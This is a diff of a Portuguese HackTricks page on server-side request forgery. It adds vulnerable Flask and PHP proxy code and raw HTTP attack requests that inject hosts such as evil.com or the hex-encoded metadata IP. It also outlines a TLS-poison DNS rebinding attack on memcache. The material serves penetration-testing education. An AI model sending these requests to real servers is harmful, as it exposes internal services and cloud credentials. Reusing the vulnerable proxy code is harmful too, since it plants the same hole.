+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas do mundo**.\
 Acesse hoje mesmo:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
 
+## Proxies mal configurados para SSRF
+
+Truques [**deste post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
+
+### Flask
+
+<details>
+
+<summary>Código vulnerável do proxy Flask</summary>
+```python
+from flask import Flask
+from requests import get
+
+app = Flask('__main__')
+SITE_NAME = 'https://google.com'
+
+@app.route('/', defaults={'path': ''})
+@app.route('/<path:path>')
+
+def proxy(path):
+return get(f'{SITE_NAME}{path}').content
+
+if __name__ == "__main__":
+app.run(threaded=False)
+```
+</details>
+
+O Flask permite usar **`@`** como caractere inicial, o que permite fazer com que o **nome do host inicial seja o nome de usuário** e injetar um novo. Solicitação de ataque:
+```http
+GET @evildomain.com/ HTTP/1.1
+Host: target.com
+Connection: close
+```
+### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
+
+Código vulnerável:
+
+<figure><img src="../../.gitbook/assets/image (729).png" alt=""><figcaption></figcaption></figure>
+
+Foi descoberto que é possível **iniciar o caminho** de uma solicitação com o caractere **`;`** o que permite usar então **`@`** e injetar um novo host para acessar. Solicitação de ataque:
+```http
+GET ;@evil.com/url HTTP/1.1
+Host: target.com
+Connection: close
+```
+### Servidor Web PHP Integrado <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
+
+<details>
+
+<summary>Código PHP vulnerável</summary>
+```php
+<?php
+$site = "http://ifconfig.me";
+$current_uri = $_SERVER['REQUEST_URI'];
+
+$proxy_site = $site.$current_uri;
+var_dump($proxy_site);
+
+echo "\n\n";
+
+$response = file_get_contents($proxy_site);
+var_dump($response);
+?>
+```
+</details>
+
+O PHP permite o uso do **caractere `*` antes de uma barra na URL**, no entanto, possui outras limitações, como só poder ser usado para o caminho raiz `/` e que pontos `.` não são permitidos antes da primeira barra, sendo necessário usar um endereço IP codificado em hexadecimal sem pontos, por exemplo:
+```http
+GET *@0xa9fea9fe/ HTTP/1.1
+Host: target.com
+Connection: close
+```
 ## Bypass de CORS/SOP com DNS Rebidding
 
-Se você está tendo **problemas** para **extrair conteúdo de um IP local** devido ao **CORS/SOP**, o **DNS Rebidding** pode ser usado para contornar essa limitação:
+Se você está tendo **problemas** para **exfiltrar conteúdo de um IP local** devido ao **CORS/SOP**, o **DNS Rebidding** pode ser usado para contornar essa limitação:
 
 {% content-ref url="../cors-bypass.md" %}
 [cors-bypass.md](../cors-bypass.md)
@@ -221,7 +293,7 @@ Se você está tendo **problemas** para **extrair conteúdo de um IP local** dev
 
 ### DNS Rebidding Automatizado
 
-[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para vincular o endereço IP do servidor de ataque ao nome DNS da máquina de destino e para servir payloads de ataque para explorar software vulnerável na máquina de destino.
+[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para redefinir o endereço IP do servidor de ataque para o nome DNS da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
 
 Confira também o **servidor em execução publicamente em** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
 
@@ -235,36 +307,36 @@ Requisitos:
 
 Ataque:
 
-1. Peça ao usuário/bot para **acessar** um **domínio** controlado pelo **atacante**
+1. Solicitar ao usuário/bot **acessar** um **domínio** controlado pelo **atacante**
-2. O **TTL** do **DNS** é de **0** segundos (para que a vítima verifique o IP do domínio novamente em breve)
+2. O **TTL** do **DNS** é **0** seg (então a vítima verificará o IP do domínio novamente em breve)
 3. Uma **conexão TLS** é criada entre a vítima e o domínio do atacante. O atacante introduz o **payload dentro** do **ID de Sessão ou Ticket de Sessão**.
-4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **ele mesmo**. O objetivo disso é fazer com que o usuário/bot acesse o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
+4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **ele mesmo**. O objetivo disso é fazer o usuário/bot acessar o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
-5. Na solicitação DNS, um endereço IP **privado** é fornecido **agora** (por exemplo, 127.0.0.1)
+5. Na solicitação DNS, um endereço de **IP privado** é fornecido **agora** (127.0.0.1, por exemplo)
-6. O usuário/bot tentará **restabelecer a conexão TLS** e, para fazer isso, ele **enviará** o ID de **Sessão ou Ticket de Sessão** (onde o **payload** do atacante estava contido). Parabéns, você conseguiu fazer o **usuário/bot atacar a si mesmo**.
+6. O usuário/bot tentará **restabelecer a conexão TLS** e para fazer isso ele irá **enviar** o ID de **Sessão ou Ticket de Sessão** (onde o **payload** do atacante estava contido). Parabéns, você conseguiu fazer o **usuário/bot atacar a si mesmo**.
 
-Durante esse ataque, se você deseja atacar localhost:11211 (_memcache_), você precisa fazer a vítima estabelecer a conexão inicial com www.attacker.com:11211 (a **porta deve sempre ser a mesma**).\
+Durante esse ataque, se você quiser atacar localhost:11211 (_memcache_), você precisa fazer a vítima estabelecer a conexão inicial com www.attacker.com:11211 (a **porta deve sempre ser a mesma**).\
 Para **realizar esse ataque, você pode usar a ferramenta**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
 Para **mais informações**, confira a palestra onde esse ataque é explicado: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
 
 ## SSRF Cego
 
-A diferença entre um SSRF cego e um não cego é que no cego você não pode ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar, pois você só poderá explorar vulnerabilidades conhecidas.
+A diferença entre um SSRF cego e um não cego é que no cego você não pode ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar porque você só poderá explorar vulnerabilidades conhecidas.
 
-### SSRF baseado em tempo
+### SSRF Baseado em Tempo
 
 **Verificando o tempo** das respostas do servidor, pode ser **possível saber se um recurso existe ou não** (talvez leve mais tempo para acessar um recurso existente do que acessar um que não existe)
 
 ## Exploração de SSRF na Nuvem
 
-Se você encontrar uma vulnerabilidade de SSRF em uma máquina em execução em um ambiente de nuvem, pode obter informações interessantes sobre o ambiente de nuvem e até mesmo credenciais:
+Se você encontrar uma vulnerabilidade de SSRF em uma máquina em execução dentro de um ambiente de nuvem, você pode obter informações interessantes sobre o ambiente de nuvem e até mesmo credenciais:
 
 {% content-ref url="cloud-ssrf.md" %}
 [cloud-ssrf.md](cloud-ssrf.md)
 {% endcontent-ref %}
 
-## Plataformas Vulneráveis a SSRF
+## Plataformas Vulneráveis ao SSRF
 
-Várias plataformas conhecidas contêm ou contiveram vulnerabilidades de SSRF, verifique-as em:
+Várias plataformas conhecidas contêm ou já contiveram vulnerabilidades de SSRF, verifique-as em:
 
 {% content-ref url="ssrf-vulnerable-platforms.md" %}
 [ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
@@ -297,7 +369,7 @@ _remote-method-guesser_ é um scanner de vulnerabilidades _Java RMI_ que suporta
 
 ### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
 
-SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o tráfego HTTP do cliente por meio de servidores HTTP vulneráveis a Forgery de Solicitação do Lado do Servidor (SSRF).
+SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o tráfego HTTP do cliente por meio de servidores HTTP vulneráveis a Solicitação de Servidor-Side Forgery (SSRF).
 
 ### Para praticar
 
@@ -308,15 +380,16 @@ SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o t
 * [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
 * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
 * [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
+* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
 
 <details>
 
 <summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
 
-Outras maneiras de apoiar o HackTricks:
+Outras formas de apoiar o HackTricks:
 
 * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -326,7 +399,7 @@ Outras maneiras de apoiar o HackTricks:
 <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje mesmo:
+Acesse hoje:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}